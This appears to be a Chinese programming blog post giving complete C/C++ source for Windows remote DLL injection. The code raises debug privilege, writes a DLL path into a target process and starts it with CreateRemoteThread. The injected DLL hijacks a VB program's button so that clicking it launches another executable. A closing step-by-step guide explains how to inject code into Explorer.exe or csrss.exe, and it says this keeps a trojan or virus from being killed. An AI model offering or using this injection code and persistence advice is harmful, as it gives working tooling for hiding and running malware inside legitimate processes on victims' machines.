// 远程DLL注入.cpp : 定义控制台应用程序的入口点。
//
#include <windows.h>
#include <Tlhelp32.h>
/*************************************
* BOOL EnablePrivilege (PCSTR name)
* 功能 提升本权限
*防止有些进程我们权限不够,打不开人家
* 参数 PCSTR name 所需的权限
* 返回是否成功
**************************************/
DWORD EnablePrivilege (LPCWSTR name)
{
HANDLE hToken;
BOOL rv;
//设置结构
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
// 查找权限值
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
// 打开本进程Token
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
// 提权
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
// 返回值,错误信息,如果操作成功,则应为ERROR_SUCCESS,为O
rv = GetLastError();
// 关闭Token
CloseHandle (hToken);
return rv;
}
/*************************************
* BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName)
* 功能 通过创建远程线程给其他进程加载Dll
*
* 参数 DWORD dwProcessId 目标进程PID
* LPTSTR lpszLibName Dll的路径
* 返回是否成功
**************************************/
BOOL LoadRometeDll(DWORD dwProcessId, LPTSTR lpszLibName)
{
BOOL bResult = FALSE;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
PSTR pszLibFileRemote = NULL;
DWORD cch;
PTHREAD_START_ROUTINE pfnThreadRtn;
__try
{
// 获得想要注入代码的进程的句柄.
hProcess = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);
if (hProcess == NULL)
__leave;
// 计算DLL路径名需要的字节数.
cch = 1 + lstrlen(lpszLibName);
// 在远程线程中为路径名分配空间.
pszLibFileRemote = (PSTR)VirtualAllocEx(
hProcess,
NULL,
cch,
MEM_COMMIT,
PAGE_READWRITE
);
if (pszLibFileRemote == NULL)
__leave;
// 将DLL的路径名复制到远程进程的内存空间.
if (!WriteProcessMemory(
hProcess,
(PVOID)pszLibFileRemote,
(PVOID)lpszLibName,
cch,
NULL))
__leave;
// 获得LoadLibraryA在Kernel32.dll中的真正地址.
pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
if (pfnThreadRtn == NULL)
__leave;
// 创建远程线程,并通过远程线程调用用户的DLL文件.
hThread = CreateRemoteThread(
hProcess,
NULL,
0,
pfnThreadRtn,
(PVOID)pszLibFileRemote,
0,
NULL
);
if (hThread == NULL)
__leave;
// 等待远程线程终止.
WaitForSingleObject(hThread, INFINITE);
bResult = TRUE;
}
__finally
{
// 关闭句柄.
if (pszLibFileRemote != NULL)
VirtualFreeEx(hProcess, (PVOID)pszLibFileRemote, 0, MEM_RELEASE);
if (hThread != NULL)
CloseHandle(hThread);
if (hProcess != NULL)
CloseHandle(hProcess);
}
return bResult;
}
/*************************************
* BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID)
* 功能 通过进程名获取进程PID
*
* 参数 LPSTR szProcessName 进程名
* LPDWORD lpPID 指向保存PID的变量
* 返回是否成功
**************************************/
BOOL GetProcessIdByName(LPSTR szProcessName, LPDWORD lpPID)
{
// 变量及初始化
STARTUPINFO st;
PROCESS_INFORMATION pi;
PROCESSENTRY32 ps;
HANDLE hSnapshot;
ZeroMemory(&st, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
st.cb = sizeof(STARTUPINFO);
ZeroMemory(&ps,sizeof(PROCESSENTRY32));
ps.dwSize = sizeof(PROCESSENTRY32);
// 遍历进程
hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
if(hSnapshot == INVALID_HANDLE_VALUE)
{
return FALSE;
}
if(!Process32First(hSnapshot,&ps))
{
return FALSE;
}
do
{
// 比较进程名
if(lstrcmpi(ps.szExeFile,TEXT("工程1.exe"))==0)//为了明了这里没用szProcessName
{
// 找到了
*lpPID = ps.th32ProcessID;
CloseHandle(hSnapshot);
return TRUE;
}
}
while(Process32Next(hSnapshot,&ps));
// 没有找到
CloseHandle(hSnapshot);
return FALSE;
}
/*************************************
* int WinMain(
* HINSTANCE hInstance,
* HINSTANCE hPrevInstance,
* LPSTR lpCmdLine,
* int nCmdShow
* )
**************************************/
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
{
DWORD dwPID;
// 提权,获取SE_DEBUG_NAME权限,
// 可以在其他进程的内存空间中写入、创建线程
if(0!=EnablePrivilege (SE_DEBUG_NAME))
return 0;
// 获取目录进程的PID
if(!GetProcessIdByName("工程1.exe",&dwPID))
return 0;
// 通过创建远程线程加载DLL
// 将msg.dll放置在系统目录下,这里是相对路径嘛
if(!LoadRometeDll(dwPID,TEXT("msg.dll")))
return 0;
return 1;
}
/* ************************************
* msg.c
* 动态链接库
**************************************/
/* 头文件 */
#include <Windows.h>
//全局变量
HWND hDlg;
HWND hWnd;
WNDPROC OldWndProc;
//WNDPROC OldWndProc1;
//子窗口控件的窗口过程
LRESULT CALLBACK NewWndProc(HWND hWnd,UINT Msg,WPARAM wParam,LPARAM lParam)
{
STARTUPINFO si={sizeof(si)};
//si.cb=sizeof(STARTUPINFO);
//si.wShowWindow=SW_SHOW;
//si.dwFlags=STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi;
switch(Msg)
{
case WM_KEYDOWN:
MessageBox(hWnd,TEXT("s"),TEXT("f"),0);
return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);
//return 0;
break;
case WM_LBUTTONDOWN:
//MessageBox(NULL,"b","s",0);
//SetFocus(hWnd);
CreateProcess(NULL,TEXT("C://Documents and Settings//Administrator//桌面//2.exe"),NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);
// return 0;
break;
default:
return CallWindowProc(OldWndProc,hWnd,Msg,wParam,lParam);
}
return 0;
}
/*************************************
* DllMain
**************************************/
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // DLL模块的句柄
DWORD fdwReason, // 调用的情况
LPVOID lpReserved ) // reserved
{
// 在不同的情况下都会调用DllMain函数,分别处理
switch( fdwReason )
{
// 加载Dll
case DLL_PROCESS_ATTACH:
{
//测试而已,无其他不良目的
CHAR lpMainMoudleName[MAX_PATH]="sdfsfsdf";
WCHAR lpMessage[MAX_PATH+64];
// 获取PID 和主模块名,将弹出消息框
DWORD dwPID = GetCurrentProcessId();
//GetModuleBaseName(GetCurrentProcess(),NULL,lpMainMoudleName,MAX_PATH);
wsprintf(lpMessage,TEXT("Process name: %s, PID: %u "),lpMainMoudleName,dwPID);
MessageBox(NULL,lpMessage,TEXT("msg.dll"),MB_OK);
hDlg=FindWindow(NULL,TEXT("Form1"));//窗口标题Form1
hWnd=GetDlgItem(hDlg,2);//command1的控件ID,可以借助SPY++得到
OldWndProc=(WNDPROC)SetWindowLong(hWnd,GWL_WNDPROC,(LONG)NewWndProc);
break;
}
// 新建线程
case DLL_THREAD_ATTACH:
break;
// 线程退出
case DLL_THREAD_DETACH:
break;
// 释放Dll
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
简单说明:
1.远程注入的代码基本都是一个模板,能够套用的,这里借助了精通WINDOWS API中的代码来完成的,注释相对比较全面了吧,为了实现特定的目标:替换VB工程中command1按钮的消息响应,因此在动态链接库中用到了窗口子类化,一点很重要的过程就是利用进程ID如何去获取窗口句柄,这里简单的用到了FINDWINDOW函数,当然方法还是有不少的,比如看雪论坛中就有类似的帖子,是自己定义一个函数来完成此功能的,可以做个参考。
2.工程1.exe是一个VB的对话框,上面放置了2个按钮,分别是command1,command2,点击会各自响应自己的消息处理过程(VB中实现的),利用上面的代码可以实现注入到这个工程1.exe程序中,结果就是当我们点击command1的时候可以响应我们自己的处理过程,比如上述就是执行了桌面上的2.exe,然后再返回默认的处理过程,这里如果注释掉return callwindowproc就只会出现我们自己的处理了,原本VB中实现的将被我们上述工程所屏蔽掉了。
3.如果想要很明显的看到效果,那完全可以先自己运行工程1.exe,然后在运行上述编译好的EXE,此时一切将不再是以前那样了,偷梁换柱已经果断实现了。
4.其实也可以把所有代码都写入到目标进程的地址空间中,这样就能避免使用DLL了,但是在DLL中实现有个很大的好处就是不需要把很复杂的东西全部writeprocessmemory到目标进程地址空间中,大大简化了实现过程。
5.顺便说一句,写的这个程序由于用到了createremotethread,所以会被金山等系列提示(大家懂的),仅仅是个试验罢了。完整的工程暂时就不上传了吧,如果有需要的话,再上传或者发邮件也可以,毕竟不是很“光彩”的东西。
我们进行系统级别的安全监控的时候,防范木马的时候,经常需要进行远程代码注入执行。
执行步骤如下
1. 提升进程权限,如果权限不够的话,很容易造成 OpenProcess 失败;
2. 确定你的宿主进程,即你所要注入代码的进程,这个其实很好办,你要是不想你的木马或者病毒被别个一下子就结束了的话,
最好是选择系统要想运行,则必须开启的那种进程,比如资源管理器进程 Explorer.exe,
Windows 子系统进程 csrss.exe 等等,但是这里注意的是,我注入 System 进程的时候造成了失败哦,
所以最好还是别拿 System 做实验,而且如果你注入失败了的话,是会造成宿主进程崩溃的,
等下一不小心把 System 进程给弄崩溃了就不好了;
3. 打开宿主进程了(我这里打开的是 Explorer.exe 进程),思路是首先变量当前系统下运行的所有的进程,
然后遍历获取到得所有的进程的 PID,再调用 ProcessIsExplorer 函数来判断这个进程是否为 Explorer.exe 进程,
如果是则记录下这个进程的 PID 就可以了,这样就获得了 Explorer.exe 进程的 PID 了,
再通过 OpenProcess 来打开这个 Explorer.exe 进程就 OK 了;
4. 在宿主进程中分配好存储空间,这个存储空间是用来存放我们将要创建的远程线程的线程处理例程的,
这里需要注意的是:我们分配的内存必须标记必须带有 EXECUTE,因为分配的这块内存是用来存放线程处理例程的,
而线程处理例程必须得执行,所以必须得带有 EXECUTE 标记,而至于 WRITE 标记的话,很明显是需要的,
因为我们在后面的代码中还必须调用 WriteProcessMemory 来将线程处理例程写入到这块内存中,自然其必须可写;
5. 将远程线程处理例程写入到 4 中在宿主进程中所分配的内存中,这个可以直接调用 WriteProcessMemory 来实现;
6. 在宿主进程中分配好存储空间,这个存储空间是用来存放我们将要传递给远程线程线程处理例程的参数,
从下面的结构体中可以看出,其由三个参数组成,第一个参数代表要在对话框中显示的内容,
第二个参数代表要在对话框中显示的标题,第三个参数则是 MessageBox 这个 API 的地址,
因为在 Explorer.exe 中 MessageBox 的地址会发生重定向,所以需要将其地址通过参数传递给线程处理例程;
7. 将参数写入到 6 中在宿主进程中所分配的内存中,同样是调用 WriteProcessMemory 来完成;
8. 调用 CreateRemoteThread 在 Explorer.exe(宿主进程)中创建远程线程;
注意,当远程线程没有执行完时,不能够通过 VirtualFreeEx 来将远程进程中的内存释放掉,
你想啊,我他妈的线程都还在 Explorer.exe 里面执行,你他妈的在外面把我占的内存给释放掉了,我还执行个屁啊 !
所以这里调用了 WaitForSingleObject 来等待这个远程线程执行完毕,
其执行完毕后再释放在 Explorer.exe 中所分配的存储空间 !
请见代码实现与注释讲解